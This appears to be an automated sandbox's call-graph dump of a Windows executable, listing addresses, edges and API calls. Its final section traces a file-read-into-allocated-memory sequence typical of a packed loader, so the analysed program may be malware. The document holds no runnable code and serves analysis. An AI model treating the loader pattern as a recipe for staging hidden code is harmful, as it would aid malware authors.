85103 431b72 GetForegroundWindow ShellExecuteW 85104 431b9f 85103->85104 85104->85093 85105 40eba0 LoadLibraryA GetProcAddress 85105->85001 85107 40d86e 85106->85107 85108 40eb76 LoadLibraryA 85106->85108 85107->85001 85107->85105 85108->85107 85109 40eb87 GetProcAddress 85108->85109 85109->85107 85222 40e680 85110->85222 85114 401fa2 GetModuleFileNameW 85240 40ff90 85114->85240 85116 401fbd 85252 4107b0 85116->85252 85119 401b70 75 API calls 85120 401fe4 85119->85120 85255 4019e0 85120->85255 85122 401ff2 85123 4092c0 VariantClear 85122->85123 85124 402002 85123->85124 85125 401b70 75 API calls 85124->85125 85126 40201c 85125->85126 85127 4019e0 76 API calls 85126->85127 85128 40202c 85127->85128 85129 401b70 75 API calls 85128->85129 85130 40203c 85129->85130 85263 40c3e0 85130->85263 85132 40204d 85281 40c060 85132->85281 85136 40206e 85293 4115d0 85136->85293 85139 42c174 85141 401a70 75 API calls 85139->85141 85140 402088 85142 4115d0 __wcsicoll 79 API calls 85140->85142 85143 42c189 85141->85143 85144 402093 85142->85144 85146 401a70 75 API calls 85143->85146 85144->85143 85145 40209e 85144->85145 85147 4115d0 __wcsicoll 79 API calls 85145->85147 85148 42c1a7 85146->85148 85149 4020a9 85147->85149 85150 42c1b0 GetModuleFileNameW 85148->85150 85149->85150 85151 4020b4 85149->85151 85153 401a70 75 API calls 85150->85153 85152 4115d0 __wcsicoll 79 API calls 85151->85152 85155 4020bf 85152->85155 85154 42c1e2 85153->85154 85305 40df50 75 API calls 85154->85305 85156 402107 85155->85156 85160 401a70 75 API calls 85155->85160 85165 42c20a _wcscpy 85155->85165 85159 402119 85156->85159 85156->85165 85158 42c1f1 85161 401a70 75 API calls 85158->85161 85162 42c243 85159->85162 85301 40e7e0 76 API calls 85159->85301 85163 4020e5 _wcscpy 85160->85163 85164 42c201 85161->85164 85171 401a70 75 API calls 85163->85171 85164->85165 85168 401a70 75 API calls 85165->85168 85167 402132 85302 40d030 76 API calls 85167->85302 85175 402148 85168->85175 85170 40213e 85172 4092c0 VariantClear 85170->85172 85171->85156 85172->85175 85173 402184 85177 4092c0 VariantClear 85173->85177 85175->85173 85178 401a70 75 API calls 85175->85178 85303 40d030 76 API calls 85175->85303 85304 40e640 76 API calls 85175->85304 85179 402196 moneypunct 85177->85179 85178->85175 85179->85070 85181 42ccf4 _memset 85180->85181 85182 40f3c9 85180->85182 85184 42cd05 GetOpenFileNameW 85181->85184 85988 40ffb0 76 API calls moneypunct 85182->85988 85184->85182 85187 40d732 85184->85187 85185 40f3d2 85989 410130 SHGetMalloc 85185->85989 85187->85078 85187->85080 85188 40f3d9 85994 410020 88 API calls __wcsicoll 85188->85994 85190 40f3e7 85995 40f400 85190->85995 85193 42b9d3 85192->85193 85194 41025a LoadImageW RegisterClassExW 85192->85194 86040 443e8f EnumResourceNamesW LoadImageW 85193->86040 86039 4102f0 7 API calls 85194->86039 85197 40d790 85199 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85197->85199 85198 42b9da 85199->85092 85202 40e207 _memset 85200->85202 85201 40e262 85203 40e2a4 85201->85203 86041 43737d 84 API calls __wcsicoll 85201->86041 85202->85201 85204 42aa14 DestroyIcon 85202->85204 85206 40e2c0 Shell_NotifyIconW 85203->85206 85207 42aa50 Shell_NotifyIconW 85203->85207 85204->85201 85208 401be0 77 API calls 85206->85208 85209 40e2da 85208->85209 85209->85099 85210->85080 85211->85093 85212->85080 85213->85086 85215 401b76 _wcslen 85214->85215 85216 41171a 75 API calls 85215->85216 85219 401bc5 85215->85219 85217 401bad _memcpy_s 85216->85217 85218 41171a 75 API calls 85217->85218 85218->85219 85220 40d3b0 75 API calls 2 library calls 85219->85220 85220->85100 85221->85103 85223 40c060 75 API calls 85222->85223 85224 401f90 85223->85224 85225 402940 85224->85225 85226 40294a __write_nolock 85225->85226 85227 4021e0 75 API calls 85226->85227 85229 402972 85227->85229 85239 4029a4 85229->85239 85306 401cf0 85229->85306 85230 402ae0 75 API calls 85230->85239 85231 402a8c 85232 401b70 75 API calls 85231->85232 85238 402abe 85231->85238 85233 402ab3 85232->85233 85310 40d970 75 API calls 2 library calls 85233->85310 85234 401b70 75 API calls 85234->85239 85236 401cf0 75 API calls 85236->85239 85238->85114 85239->85230 85239->85231 85239->85234 85239->85236 85309 40d970 75 API calls 2 library calls 85239->85309 85311 40f5e0 85240->85311 85243 40ffa6 85243->85116 85245 42b6d8 85246 42b6e6 85245->85246 85367 434fe1 85245->85367 85248 413a88 __getstream 67 API calls 85246->85248 85249 42b6f5 85248->85249 85250 434fe1 106 API calls 85249->85250 85251 42b702 85250->85251 85251->85116 85253 41171a 75 API calls 85252->85253 85254 401fd6 85253->85254 85254->85119 85256 401a03 85255->85256 85257 4019e5 85255->85257 85256->85257 85258 401a1a 85256->85258 85260 4019ff 85257->85260 85976 404260 76 API calls 85257->85976 85977 404260 76 API calls 85258->85977 85260->85122 85262 401a26 85262->85122 85264 40c3e4 85263->85264 85265 40c42c 85263->85265 85268 40c3f0 85264->85268 85269 42a475 85264->85269 85266 42a422 85265->85266 85267 40c435 85265->85267 85273 42a427 85266->85273 85274 42a445 85266->85274 85270 40c441 85267->85270 85271 42a455 85267->85271 85978 4042f0 75 API calls __cinit 85268->85978 85983 453155 75 API calls 85269->85983 85979 4042f0 75 API calls __cinit 85270->85979 85982 453155 75 API calls 85271->85982 85280 40c3fb 85273->85280 85980 453155 75 API calls 85273->85980 85981 453155 75 API calls 85274->85981 85280->85132 85280->85280 85282 41171a 75 API calls 85281->85282 85283 40c088 85282->85283 85284 41171a 75 API calls 85283->85284 85285 402061 85284->85285 85286 401a70 85285->85286 85287 401a90 85286->85287 85288 401a77 85286->85288 85290 4021e0 75 API calls 85287->85290 85289 401a8d 85288->85289 85984 404080 75 API calls _memcpy_s 85288->85984 85289->85136 85291 401a9c 85290->85291 85291->85136 85294 4115e1 85293->85294 85295 411650 85293->85295 85297 40207d 85294->85297 85985 417f23 67 API calls __getptd_noexit 85294->85985 85987 4114bf 79 API calls 3 library calls 85295->85987 85297->85139 85297->85140 85299 4115ed 85986 417ebb 6 API calls 2 library calls 85299->85986 85301->85167 85302->85170 85303->85175 85304->85175 85305->85158 85307 402ae0 75 API calls 85306->85307 85308 401cf7 85307->85308 85308->85229 85309->85239 85310->85238 85371 40f580 85311->85371 85313 40f5f8 _strcat moneypunct 85379 40f6d0 85313->85379 85318 42b2ee 85408 4151b0 85318->85408 85320 40f679 85320->85318 85322 40f681 85320->85322 85395 414e94 85322->85395 85325 40f68b 85325->85243 85330 452574 85325->85330 85327 42b31d 85414 415484 85327->85414 85329 42b33d 85331 41557c _fseek 105 API calls 85330->85331 85332 4525df 85331->85332 85915 4523ce 85332->85915 85335 4525fc 85335->85245 85336 4151b0 __fread_nolock 81 API calls 85337 45261d 85336->85337 85338 4151b0 __fread_nolock 81 API calls 85337->85338 85339 45262e 85338->85339 85340 4151b0 __fread_nolock 81 API calls 85339->85340 85341 452649 85340->85341 85342 4151b0 __fread_nolock 81 API calls 85341->85342 85343 452666 85342->85343 85344 41557c _fseek 105 API calls 85343->85344 85345 452682 85344->85345 85346 4138ba _malloc 67 API calls 85345->85346 85347 45268e 85346->85347 85348 4138ba _malloc 67 API calls 85347->85348 85349 45269b 85348->85349 85350 4151b0 __fread_nolock 81 API calls 85349->85350 85351 4526ac 85350->85351 85352 44afdc GetSystemTimeAsFileTime 85351->85352 85353 4526bf 85352->85353 85354 4526d5 85353->85354 85355 4526fd 85353->85355 85356 413a88 __getstream 67 API calls 85354->85356 85357 452704 85355->85357 85358 45275b 85355->85358 85359 4526df 85356->85359 85921 44b195 85357->85921 85361 413a88 __getstream 67 API calls 85358->85361 85363 413a88 __getstream 67 API calls 85359->85363 85362 452759 85361->85362 85362->85245 85365 4526e8 85363->85365 85364 452753 85366 413a88 __getstream 67 API calls 85364->85366 85365->85245 85366->85362 85368 434feb 85367->85368 85370 434ff1 85367->85370 85369 414e94 __fcloseall 106 API calls 85368->85369 85369->85370 85370->85246 85372 429440 85371->85372 85373 40f589 _wcslen 85371->85373 85374 40f58f WideCharToMultiByte 85373->85374 85375 40f5d8 85374->85375 85376 40f5ad 85374->85376 85375->85313 85377 41171a 75 API calls 85376->85377 85378 40f5bb WideCharToMultiByte 85377->85378 85378->85313 85380 40f6dd _strlen 85379->85380 85427 40f790 85380->85427 85383 414e06 85446 414d40 85383->85446 85385 40f666 85385->85318 85386 40f450 85385->85386 85390 40f45a _strcat _memcpy_s __write_nolock 85386->85390 85387 4151b0 __fread_nolock 81 API calls 85387->85390 85389 42936d 85391 41557c _fseek 105 API calls 85389->85391 85390->85387 85390->85389 85394 40f531 85390->85394 85529 41557c 85390->85529 85392 429394 85391->85392 85393 4151b0 __fread_nolock 81 API calls 85392->85393 85393->85394 85394->85320 85396 414ea0 __getstream 85395->85396 85397 414ed1 85396->85397 85398 414eb4 85396->85398 85401 415965 __lock_file 68 API calls 85397->85401 85405 414ec9 __getstream 85397->85405 85668 417f23 67 API calls __getptd_noexit 85398->85668 85400 414eb9 85669 417ebb 6 API calls 2 library calls 85400->85669 85402 414ee9 85401->85402 85652 414e1d 85402->85652 85405->85325 85737 41511a 85408->85737 85410 4151c8 85411 44afdc 85410->85411 85908 4431e0 85411->85908 85413 44affd 85413->85327 85415 415490 __getstream 85414->85415 85416 4154bb 85415->85416 85417 41549e 85415->85417 85419 415965 __lock_file 68 API calls 85416->85419 85912 417f23 67 API calls __getptd_noexit 85417->85912 85421 4154c3 85419->85421 85420 4154a3 85913 417ebb 6 API calls 2 library calls 85420->85913 85423 4152e7 __ftell_nolock 71 API calls 85421->85423 85424 4154cf 85423->85424 85914 4154e8 LeaveCriticalSection LeaveCriticalSection _fprintf 85424->85914 85426 4154b3 __getstream 85426->85329 85428 40f7ae _memset 85427->85428 85430 40f628 85428->85430 85431 415258 85428->85431 85430->85383 85432 415285 85431->85432 85433 415268 85431->85433 85432->85433 85435 41528c 85432->85435 85442 417f23 67 API calls __getptd_noexit 85433->85442 85444 41c551 103 API calls 13 library calls 85435->85444 85436 41526d 85443 417ebb 6 API calls 2 library calls 85436->85443 85439 4152b2 85440 41527d 85439->85440 85445 4191c9 101 API calls 6 library calls 85439->85445 85440->85428 85442->85436 85444->85439 85445->85440 85449 414d4c __getstream 85446->85449 85447 414d5f 85498 417f23 67 API calls __getptd_noexit 85447->85498 85449->85447 85451 414d95 85449->85451 85450 414d64 85499 417ebb 6 API calls 2 library calls 85450->85499 85465 41e28c 85451->85465 85454 414d9a 85455 414da1 85454->85455 85456 414dae 85454->85456 85500 417f23 67 API calls __getptd_noexit 85455->85500 85458 414dd6 85456->85458 85459 414db6 85456->85459 85483 41dfd8 85458->85483 85501 417f23 67 API calls __getptd_noexit 85459->85501 85462 414d74 @_EH4_CallFilterFunc@8 __getstream 85462->85385 85466 41e298 __getstream 85465->85466 85467 418407 __lock 67 API calls 85466->85467 85480 41e2a6 85467->85480 85468 41e31b 85503 41e3bb 85468->85503 85469 41e322 85471 416fb6 __malloc_crt 67 API calls 85469->85471 85473 41e32c 85471->85473 85472 41e3b0 __getstream 85472->85454 85473->85468 85508 4189e6 InitializeCriticalSectionAndSpinCount __getstream 85473->85508 85475 418344 __mtinitlocknum 67 API calls 85475->85480 85477 41e351 85478 41e35c 85477->85478 85479 41e36f EnterCriticalSection 85477->85479 85481 413a88 __getstream 67 API calls 85478->85481 85479->85468 85480->85468 85480->85469 85480->85475 85506 4159a6 68 API calls __lock 85480->85506 85507 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85480->85507 85481->85468 85491 41dffb __wopenfile 85483->85491 85484 41e015 85513 417f23 67 API calls __getptd_noexit 85484->85513 85486 41e01a 85514 417ebb 6 API calls 2 library calls 85486->85514 85488 41e247 85510 425db0 85488->85510 85491->85484 85497 41e1e9 85491->85497 85515 4136bc 79 API calls 2 library calls 85491->85515 85493 41e1e2 85493->85497 85516 4136bc 79 API calls 2 library calls 85493->85516 85495 41e201 85495->85497 85517 4136bc 79 API calls 2 library calls 85495->85517 85497->85484 85497->85488 85498->85450 85500->85462 85501->85462 85502 414dfc LeaveCriticalSection LeaveCriticalSection _fprintf 85502->85462 85509 41832d LeaveCriticalSection 85503->85509 85505 41e3c2 85505->85472 85506->85480 85507->85480 85508->85477 85509->85505 85518 425ce4 85510->85518 85512 414de1 85512->85502 85513->85486 85515->85493 85516->85495 85517->85497 85519 425cf0 __getstream 85518->85519 85520 425d03 85519->85520 85523 425d41 85519->85523 85521 417f23 __fptostr 67 API calls 85520->85521 85522 425d08 85521->85522 85525 417ebb __fptostr 6 API calls 85522->85525 85524 4255c4 __tsopen_nolock 132 API calls 85523->85524 85526 425d5b 85524->85526 85528 425d17 __getstream 85525->85528 85527 425d82 __sopen_helper LeaveCriticalSection 85526->85527 85527->85528 85528->85512 85533 415588 __getstream 85529->85533 85530 415596 85560 417f23 67 API calls __getptd_noexit 85530->85560 85532 4155c4 85542 415965 85532->85542 85533->85530 85533->85532 85534 41559b 85561 417ebb 6 API calls 2 library calls 85534->85561 85541 4155ab __getstream 85541->85390 85543 415977 85542->85543 85544 415999 EnterCriticalSection 85542->85544 85543->85544 85545 41597f 85543->85545 85546 4155cc 85544->85546 85547 418407 __lock 67 API calls 85545->85547 85548 4154f2 85546->85548 85547->85546 85549 415512 85548->85549 85550 415502 85548->85550 85555 415524 85549->85555 85563 4152e7 85549->85563 85617 417f23 67 API calls __getptd_noexit 85550->85617 85554 415507 85562 4155f7 LeaveCriticalSection LeaveCriticalSection _fprintf 85554->85562 85580 41486c 85555->85580 85560->85534 85562->85541 85564 41531a 85563->85564 85565 4152fa 85563->85565 85567 41453a __fileno 67 API calls 85564->85567 85618 417f23 67 API calls __getptd_noexit 85565->85618 85569 415320 85567->85569 85568 4152ff 85619 417ebb 6 API calls 2 library calls 85568->85619 85571 41efd4 __locking 71 API calls 85569->85571 85572 415335 85571->85572 85573 4153a9 85572->85573 85575 415364 85572->85575 85579 41530f 85572->85579 85620 417f23 67 API calls __getptd_noexit 85573->85620 85576 41efd4 __locking 71 API calls 85575->85576 85575->85579 85577 415404 85576->85577 85578 41efd4 __locking 71 API calls 85577->85578 85577->85579 85578->85579 85579->85555 85581 4148a7 85580->85581 85582 414885 85580->85582 85586 41453a 85581->85586 85582->85581 85583 41453a __fileno 67 API calls 85582->85583 85584 4148a0 85583->85584 85621 41c3cf 101 API calls 5 library calls 85584->85621 85587 41455e 85586->85587 85588 414549 85586->85588 85592 41efd4 85587->85592 85622 417f23 67 API calls __getptd_noexit 85588->85622 85590 41454e 85623 417ebb 6 API calls 2 library calls 85590->85623 85593 41efe0 __getstream 85592->85593 85594 41f003 85593->85594 85595 41efe8 85593->85595 85597 41f011 85594->85597 85600 41f052 85594->85600 85644 417f36 67 API calls __getptd_noexit 85595->85644 85646 417f36 67 API calls __getptd_noexit 85597->85646 85598 41efed 85645 417f23 67 API calls __getptd_noexit 85598->85645 85624 41ba3b 85600->85624 85602 41f016 85647 417f23 67 API calls __getptd_noexit 85602->85647 85605 41f01d 85648 417ebb 6 API calls 2 library calls 85605->85648 85606 41f058 85608 41f065 85606->85608 85609 41f07b 85606->85609 85634 41ef5f 85608->85634 85649 417f23 67 API calls __getptd_noexit 85609->85649 85610 41eff5 __getstream 85610->85554 85613 41f073 85651 41f0a6 LeaveCriticalSection __unlock_fhandle 85613->85651 85614 41f080 85650 417f36 67 API calls __getptd_noexit 85614->85650 85617->85554 85618->85568 85620->85579 85621->85581 85622->85590 85626 41ba47 __getstream 85624->85626 85625 41baa2 85627 41bac4 __getstream 85625->85627 85628 41baa7 EnterCriticalSection 85625->85628 85626->85625 85629 418407 __lock 67 API calls 85626->85629 85627->85606 85628->85627 85630 41ba73 85629->85630 85631 41ba8a 85630->85631 85632 4189e6 __getstream InitializeCriticalSectionAndSpinCount 85630->85632 85633 41bad2 ___lock_fhandle LeaveCriticalSection 85631->85633 85632->85631 85633->85625 85635 41b9c4 __chsize_nolock 67 API calls 85634->85635 85636 41ef6e 85635->85636 85637 41ef84 SetFilePointer 85636->85637 85638 41ef74 85636->85638 85640 41efa3 85637->85640 85641 41ef9b GetLastError 85637->85641 85639 417f23 __fptostr 67 API calls 85638->85639 85642 41ef79 85639->85642 85640->85642 85643 417f49 __dosmaperr 67 API calls 85640->85643 85641->85640 85642->85613 85643->85642 85644->85598 85645->85610 85646->85602 85647->85605 85649->85614 85650->85613 85651->85610 85653 414e31 85652->85653 85654 414e4d 85652->85654 85698 417f23 67 API calls __getptd_noexit 85653->85698 85657 414e46 85654->85657 85658 41486c __flush 101 API calls 85654->85658 85656 414e36 85699 417ebb 6 API calls 2 library calls 85656->85699 85670 414f08 LeaveCriticalSection LeaveCriticalSection _fprintf 85657->85670 85659 414e59 85658->85659 85671 41e680 85659->85671 85663 41453a __fileno 67 API calls 85664 414e67 85663->85664 85675 41e5b3 85664->85675 85666 414e6d 85666->85657 85667 413a88 __getstream 67 API calls 85666->85667 85667->85657 85668->85400 85670->85405 85672 41e690 85671->85672 85673 414e61 85671->85673 85672->85673 85674 413a88 __getstream 67 API calls 85672->85674 85673->85663 85674->85673 85676 41e5bf __getstream 85675->85676 85677 41e5e2 85676->85677 85678 41e5c7 85676->85678 85679 41e5f0 85677->85679 85685 41e631 85677->85685 85715 417f36 67 API calls __getptd_noexit 85678->85715 85717 417f36 67 API calls __getptd_noexit 85679->85717 85682 41e5cc 85716 417f23 67 API calls __getptd_noexit 85682->85716 85684 41e5f5 85718 417f23 67 API calls __getptd_noexit 85684->85718 85687 41ba3b ___lock_fhandle 68 API calls 85685->85687 85689 41e637 85687->85689 85688 41e5fc 85719 417ebb 6 API calls 2 library calls 85688->85719 85690 41e652 85689->85690 85691 41e644 85689->85691 85720 417f23 67 API calls __getptd_noexit 85690->85720 85700 41e517 85691->85700 85695 41e5d4 __getstream 85695->85666 85696 41e64c 85721 41e676 LeaveCriticalSection __unlock_fhandle 85696->85721 85698->85656 85722 41b9c4 85700->85722 85702 41e57d 85735 41b93e 68 API calls 2 library calls 85702->85735 85704 41e527 85704->85702 85706 41b9c4 __chsize_nolock 67 API calls 85704->85706 85714 41e55b 85704->85714 85705 41b9c4 __chsize_nolock 67 API calls 85708 41e567 CloseHandle 85705->85708 85707 41e552 85706->85707 85711 41b9c4 __chsize_nolock 67 API calls 85707->85711 85708->85702 85712 41e573 GetLastError 85708->85712 85709 41e585 85710 41e5a7 85709->85710 85736 417f49 67 API calls 3 library calls 85709->85736 85710->85696 85711->85714 85712->85702 85714->85702 85714->85705 85715->85682 85716->85695 85717->85684 85718->85688 85720->85696 85721->85695 85723 41b9d1 85722->85723 85725 41b9e9 85722->85725 85724 417f36 __locking 67 API calls 85723->85724 85727 41b9d6 85724->85727 85726 417f36 __locking 67 API calls 85725->85726 85728 41ba2e 85725->85728 85729 41ba17 85726->85729 85730 417f23 __fptostr 67 API calls 85727->85730 85728->85704 85732 417f23 __fptostr 67 API calls 85729->85732 85731 41b9de 85730->85731 85731->85704 85733 41ba1e 85732->85733 85734 417ebb __fptostr 6 API calls 85733->85734 85734->85728 85735->85709 85736->85710 85738 415126 __getstream 85737->85738 85739 41516f 85738->85739 85742 41513a _memset 85738->85742 85749 415164 __getstream 85738->85749 85740 415965 __lock_file 68 API calls 85739->85740 85741 415177 85740->85741 85750 414f10 85741->85750 85766 417f23 67 API calls __getptd_noexit 85742->85766 85745 415154 85767 417ebb 6 API calls 2 library calls 85745->85767 85749->85410 85752 414f2e _memset 85750->85752 85755 414f4c 85750->85755 85751 414f37 85819 417f23 67 API calls __getptd_noexit 85751->85819 85752->85751 85752->85755 85761 414f8b 85752->85761 85768 4151a6 LeaveCriticalSection LeaveCriticalSection _fprintf 85755->85768 85757 4150d5 _memset 85823 417f23 67 API calls __getptd_noexit 85757->85823 85758 4150a9 _memset 85822 417f23 67 API calls __getptd_noexit 85758->85822 85759 41453a __fileno 67 API calls 85759->85761 85761->85755 85761->85757 85761->85758 85761->85759 85769 41ed9e 85761->85769 85799 41e6b1 85761->85799 85821 41ee9b 67 API calls 3 library calls 85761->85821 85765 414f3c 85820 417ebb 6 API calls 2 library calls 85765->85820 85766->85745 85768->85749 85770 41edaa __getstream 85769->85770 85771 41edb2 85770->85771 85772 41edcd 85770->85772 85893 417f36 67 API calls __getptd_noexit 85771->85893 85773 41eddb 85772->85773 85778 41ee1c 85772->85778 85895 417f36 67 API calls __getptd_noexit 85773->85895 85776 41edb7 85894 417f23 67 API calls __getptd_noexit 85776->85894 85777 41ede0 85896 417f23 67 API calls __getptd_noexit 85777->85896 85781 41ee29 85778->85781 85782 41ee3d 85778->85782 85898 417f36 67 API calls __getptd_noexit 85781->85898 85783 41ba3b ___lock_fhandle 68 API calls 85782->85783 85787 41ee43 85783->85787 85784 41ede7 85897 417ebb 6 API calls 2 library calls 85784->85897 85786 41ee2e 85899 417f23 67 API calls __getptd_noexit 85786->85899 85789 41ee50 85787->85789 85790 41ee66 85787->85790 85824 41e7dc 85789->85824 85900 417f23 67 API calls __getptd_noexit 85790->85900 85792 41edbf __getstream 85792->85761 85795 41ee5e 85902 41ee91 LeaveCriticalSection __unlock_fhandle 85795->85902 85796 41ee6b 85901 417f36 67 API calls __getptd_noexit 85796->85901 85800 41e6c1 85799->85800 85804 41e6de 85799->85804 85906 417f23 67 API calls __getptd_noexit 85800->85906 85802 41e6c6 85907 417ebb 6 API calls 2 library calls 85802->85907 85805 41e713 85804->85805 85811 41e6d6 85804->85811 85903 423600 85804->85903 85807 41453a __fileno 67 API calls 85805->85807 85808 41e727 85807->85808 85809 41ed9e __read 79 API calls 85808->85809 85810 41e72e 85809->85810 85810->85811 85812 41453a __fileno 67 API calls 85810->85812 85811->85761 85813 41e751 85812->85813 85813->85811 85814 41453a __fileno 67 API calls 85813->85814 85815 41e75d 85814->85815 85815->85811 85816 41453a __fileno 67 API calls 85815->85816 85817 41e769 85816->85817 85818 41453a __fileno 67 API calls 85817->85818 85818->85811 85819->85765 85821->85761 85822->85765 85823->85765 85825 41e813 85824->85825 85826 41e7f8 85824->85826 85828 41e822 85825->85828 85831 41e849 85825->85831 85827 417f36 __locking 67 API calls 85826->85827 85830 41e7fd 85827->85830 85829 417f36 __locking 67 API calls 85828->85829 85832 41e827 85829->85832 85834 417f23 __fptostr 67 API calls 85830->85834 85833 41e868 85831->85833 85844 41e87c 85831->85844 85835 417f23 __fptostr 67 API calls 85832->85835 85836 417f36 __locking 67 API calls 85833->85836 85845 41e805 85834->85845 85838 41e82e 85835->85838 85840 41e86d 85836->85840 85837 41e8d4 85839 417f36 __locking 67 API calls 85837->85839 85841 417ebb __fptostr 6 API calls 85838->85841 85842 41e8d9 85839->85842 85843 417f23 __fptostr 67 API calls 85840->85843 85841->85845 85846 417f23 __fptostr 67 API calls 85842->85846 85847 41e874 85843->85847 85844->85837 85844->85845 85848 41e8b0 85844->85848 85849 41e8f5 85844->85849 85845->85795 85846->85847 85850 417ebb __fptostr 6 API calls 85847->85850 85848->85837 85856 41e8bb ReadFile 85848->85856 85851 416fb6 __malloc_crt 67 API calls 85849->85851 85850->85845 85853 41e90b 85851->85853 85859 41e931 85853->85859 85860 41e913 85853->85860 85854 41ed62 GetLastError 85857 41ebe8 85854->85857 85858 41ed6f 85854->85858 85855 41e9e7 85855->85854 85863 41e9fb 85855->85863 85856->85854 85856->85855 85867 417f49 __dosmaperr 67 API calls 85857->85867 85888 41eb6d 85857->85888 85861 417f23 __fptostr 67 API calls 85858->85861 85864 423462 __lseeki64_nolock 69 API calls 85859->85864 85862 417f23 __fptostr 67 API calls 85860->85862 85865 41ed74 85861->85865 85866 41e918 85862->85866 85879 41ea17 85863->85879 85880 41ec2d 85863->85880 85863->85888 85868 41e93d 85864->85868 85869 417f36 __locking 67 API calls 85865->85869 85870 417f36 __locking 67 API calls 85866->85870 85867->85888 85868->85856 85869->85888 85870->85845 85871 413a88 __getstream 67 API calls 85871->85845 85872 41ea7d ReadFile 85874 41ea9b GetLastError 85872->85874 85885 41eaa5 85872->85885 85873 41eca5 ReadFile 85875 41ecc4 GetLastError 85873->85875 85883 41ecce 85873->85883 85874->85879 85874->85885 85875->85880 85875->85883 85876 41ebbe MultiByteToWideChar 85878 41ebe2 GetLastError 85876->85878 85876->85888 85877 41eafa 85881 41eb75 85877->85881 85882 41eb68 85877->85882 85877->85888 85889 41eb32 85877->85889 85878->85857 85879->85872 85879->85877 85880->85873 85880->85888 85881->85889 85890 41ebac 85881->85890 85884 417f23 __fptostr 67 API calls 85882->85884 85883->85880 85887 423462 __lseeki64_nolock 69 API calls 85883->85887 85884->85888 85885->85879 85886 423462 __lseeki64_nolock 69 API calls 85885->85886 85886->85885 85887->85883 85888->85845 85888->85871 85889->85876 85891 423462 __lseeki64_nolock 69 API calls 85890->85891 85892 41ebbb 85891->85892 85892->85876 85893->85776 85894->85792 85895->85777 85896->85784 85898->85786 85899->85784 85900->85796 85901->85795 85902->85792 85904 416fb6 __malloc_crt 67 API calls 85903->85904 85905 423615 85904->85905 85905->85805 85906->85802 85911 414cef GetSystemTimeAsFileTime __aulldiv 85908->85911 85910 4431ef 85910->85413 85911->85910 85912->85420 85914->85426 85918 4523e1 _wcscpy 85915->85918 85916 44afdc GetSystemTimeAsFileTime 85916->85918 85917 452553 85917->85335 85917->85336 85918->85916 85918->85917 85919 4151b0 81 API calls __fread_nolock 85918->85919 85920 41557c 105 API calls _fseek 85918->85920 85919->85918 85920->85918 85922 44b1a6 85921->85922 85924 44b1b4 85921->85924 85923 414e06 138 API calls 85922->85923 85923->85924 85925 44b1ca 85924->85925 85926 44b1c2 85924->85926 85927 414e06 138 API calls 85924->85927 85956 4352d1 81 API calls 2 library calls 85925->85956 85926->85364 85929 44b2c1 85927->85929 85929->85925 85930 44b2cf 85929->85930 85932 44b2dc 85930->85932 85935 414e94 __fcloseall 106 API calls 85930->85935 85931 44b20d 85933 44b211 85931->85933 85934 44b23b 85931->85934 85932->85364 85937 44b21e 85933->85937 85939 414e94 __fcloseall 106 API calls 85933->85939 85957 43526e 85934->85957 85935->85932 85940 44b22e 85937->85940 85943 414e94 __fcloseall 106 API calls 85937->85943 85938 44b242 85941 44b270 85938->85941 85942 44b248 85938->85942 85939->85937 85940->85364 85967 44b0af 111 API calls 85941->85967 85944 44b255 85942->85944 85947 414e94 __fcloseall 106 API calls 85942->85947 85943->85940 85948 44b265 85944->85948 85950 414e94 __fcloseall 106 API calls 85944->85950 85946 44b276 85968 43522c 85946->85968 85947->85944 85948->85364 85950->85948 85952 44b289 85954 44b299 85952->85954 85955 414e94 __fcloseall 106 API calls 85952->85955 85953 414e94 __fcloseall 106 API calls 85953->85952 85954->85364 85955->85954 85956->85931 85958 4138ba _malloc 67 API calls 85957->85958 85959 43527d 85958->85959 85960 4138ba _malloc 67 API calls 85959->85960 85961 43528d 85960->85961 85962 4138ba _malloc 67 API calls 85961->85962 85963 43529d 85962->85963 85964 43522c 67 API calls 85963->85964 85966 4352bc 85963->85966 85965 4352c8 85964->85965 85965->85938 85966->85938 85967->85946 85969 435241 85968->85969 85970 43523b 85968->85970 85972 435254 85969->85972 85973 413a88 __getstream 67 API calls 85969->85973 85971 413a88 __getstream 67 API calls 85970->85971 85971->85969 85974 435267 85972->85974 85975 413a88 __getstream 67 API calls 85972->85975 85973->85972 85974->85952 85974->85953 85975->85974 85976->85260 85977->85262 85978->85280 85979->85280 85980->85280 85981->85271 85982->85280 85983->85280 85984->85289 85985->85299 85987->85297 85988->85185 85990 410148 SHGetDesktopFolder 85989->85990 85991 4101a3 _wcscpy 85989->85991 85990->85991 85992 41015a _wcscpy 85990->85992 85991->85188 85992->85991 85993 41018a SHGetPathFromIDListW 85992->85993 85993->85991 85994->85190 85996 40f5e0 152 API calls 85995->85996 85997 40f417 85996->85997 85998 42ca37 85997->85998 86000 40f42c 85997->86000 86001 42ca1f 85997->86001 85999 452574 140 API calls 85998->85999 86002 42ca50 85999->86002 86033 4037e0 139 API calls 7 library calls 86000->86033 86034 43717f 110 API calls _printf 86001->86034 86006 42ca76 86002->86006 86007 42ca54 86002->86007 86005 42ca2d 86005->85998 86010 41171a 75 API calls 86006->86010 86009 434fe1 106 API calls 86007->86009 86008 40f446 86008->85187 86011 42ca5e 86009->86011 86025 42cacc moneypunct 86010->86025 86035 43717f 110 API calls _printf 86011->86035 86013 42ccc3 86015 413a88 __getstream 67 API calls 86013->86015 86014 42ca6c 86014->86006 86016 42cccd 86015->86016 86017 434fe1 106 API calls 86016->86017 86018 42ccda 86017->86018 86022 401b70 75 API calls 86022->86025 86025->86013 86025->86022 86026 402cc0 75 API calls 2 library calls 86025->86026 86027 4026a0 86025->86027 86036 445051 75 API calls _memcpy_s 86025->86036 86037 44c80c 87 API calls 3 library calls 86025->86037 86038 44b408 75 API calls 86025->86038 86026->86025 86028 4026af 86027->86028 86030 40276b 86027->86030 86029 41171a 75 API calls 86028->86029 86028->86030 86031 4026ee moneypunct 86028->86031 86029->86031 86030->86025 86031->86030 86032 41171a 75 API calls 86031->86032 86032->86031 86033->86008 86034->86005 86035->86014 86036->86025 86037->86025 86038->86025 86039->85197 86040->85198 86041->85203 86042 3fe59ab 86045 3fe5620 86042->86045 86044 3fe59f7 86058 3fe3050 86045->86058 86048 3fe56f0 CreateFileW 86054 3fe56fd 86048->86054 86055 3fe56bf 86048->86055 86049 3fe5719 VirtualAlloc 86050 3fe573a ReadFile 86049->86050 86049->86054 86053 3fe5758 VirtualAlloc 86050->86053 86050->86054 86051 3fe590c VirtualFree 86052 3fe591a 86051->86052 86052->86044 86053->86054 86053->86055 86054->86051 86054->86052 86055->86049 86055->86054 86056 3fe5820 CloseHandle 86055->86056 